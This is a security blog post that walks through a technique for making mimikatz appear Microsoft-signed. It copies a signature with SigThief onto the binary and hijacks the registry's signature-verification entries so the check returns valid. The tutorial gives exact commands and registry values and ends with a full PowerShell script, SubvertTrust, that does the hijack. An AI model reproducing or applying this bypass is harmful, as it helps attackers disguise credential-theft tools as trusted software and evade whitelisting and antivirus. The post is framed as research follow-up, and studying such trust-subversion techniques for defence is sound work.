Borrowing Microsoft Code Signing Certificates

Background

This past weekend at DerbyCon, Matt Graeber (@mattifestation) was the keynote speaker. He gave a talk called ‘Subverting Trust in Windows – A Case Study of the “How” and “Why” of Engaging in Security Research’. In the talk, Matt was transparent in his research process where he was able to borrow Microsoft’s code signing certificate in order to bypass signature validation checking. Below is a list of everything Matt released at DerbyCon. I highly recommend you stop reading and watch the talk before continuing to read this blog post.

Adventure

In the spirit of Matt’s talk, I’m going to attempt to be transparent in the process I took to utilize his research. Prior to DerbyCon, I was talking to Yitro Inwald (@thesl3ep) about bypassing anti-virus as well as HIPS/HIDS. He shared a method with me that he had been using on his engagements. Yitro has been using a tool called HashClash to create hash collisions in MD5 to make his malicious binary look the same as iexplore.exe. I never tried it myself, but he was nice enough to share a blog post on how to accomplish this.

This got me thinking about how this would apply to application whitelisting and if it could be abused as a potential bypass. During Matt’s DerbyCon talk, he showed that he could “borrow” a Microsoft code signing certificate by “Subverting Trust in Windows”. Matt primarily demonstrated signing powershell scripts in his talk. His proof of concept was also related to powershell. I kept wondering how he did it with an executable. On September 26, 2017, Casey Smith (@subtee) tweeted the following.

First, let’s take a look at each of these tools even if we’re familiar with them already: mimikatz and SigThief.

I decided it was time to watch Matt’s talk again and take some notes. I also opened his white paper to cross reference while watching. A couple hours later, I understood how he was hijacking a SIP with a DLL to sign powershell scripts with his proof of concept. I kept learning, however, there was still this missing piece. This is where I reached this point in his talk.

His backdoored notepad passes ‘Get-AuthenticodeSignature’. How did he do that? He mentions modifying a few registry keys. I thought to myself, the details must be in the white paper, and they are. However, the easier way to is take a look at his demo specifically on lines 13-16 and 23-26.

Okay, so now it makes sense why Casey opted to use Josh Pitts’ (@midnite_runner) tool SigThief.

Matt Graeber is borrowing an existing application’s signature and modifying two registry keys to make his executable signed by Microsoft.

Tutorial

  1. Download mimikatz: https://github.com/gentilkiwi/mimikatz
  2. Download SigThief: https://github.com/secretsquirrel/SigThief
  3. Run the following command
    sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
  4. Weaken the target by modifying the following registry keys (32 bit)
    • HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    • HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
  5. Weaken the target by modifying the following registry keys (64 bit)
    • HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    • HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
  6. Verifiy the signature is valid with powershell
    • Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe
  7. Start a new process for the hijack to take effect.
    1. powershell.exe
    2. Note: this can be any process
  8. Microsoft Signed Mimikatz

SubvertTrust Powershell Script

Download here.

<#
    SubvertTrust v1.0
    License: GPLv3
    Author: @ConsciousHacker
    Credits: @mattifestation
#>
function SubvertTrust
{
	$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

	# PE SIP Guids
	#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
	#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'

	$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"

	# Signed code reuse attack that will effectively return TRUE when the
	# digitial signature hash validation function is called.
	$NewDll = 'C:\Windows\System32\ntdll.dll'
	$NewFuncName = 'DbgUiContinue'
	
	$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
	$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}

function RevertTrust
{
	$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

	# PE SIP Guids
	#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
	#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'

	$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"

	# Signed code reuse attack that will effectively return TRUE when the
	# digitial signature hash validation function is called.
	$NewDll = 'WINTRUST.DLL'
	$NewFuncName = 'CryptSIPVerifyIndirectData'
	
	$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
	$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}

##################
# Start a new process for the hijack to take effect.
# powershell
##################

Lessons Learned

Look at ALL materials available that were released by a security researcher.

Credits

Matt Graeber (@mattifestation)

Josh Pitts (@midnite_runner)

Benjamin Delpy (@gentilkiwi)

Leave a comment

Your email address will not be published. Required fields are marked *

14 thoughts on “Borrowing Microsoft Code Signing Certificates”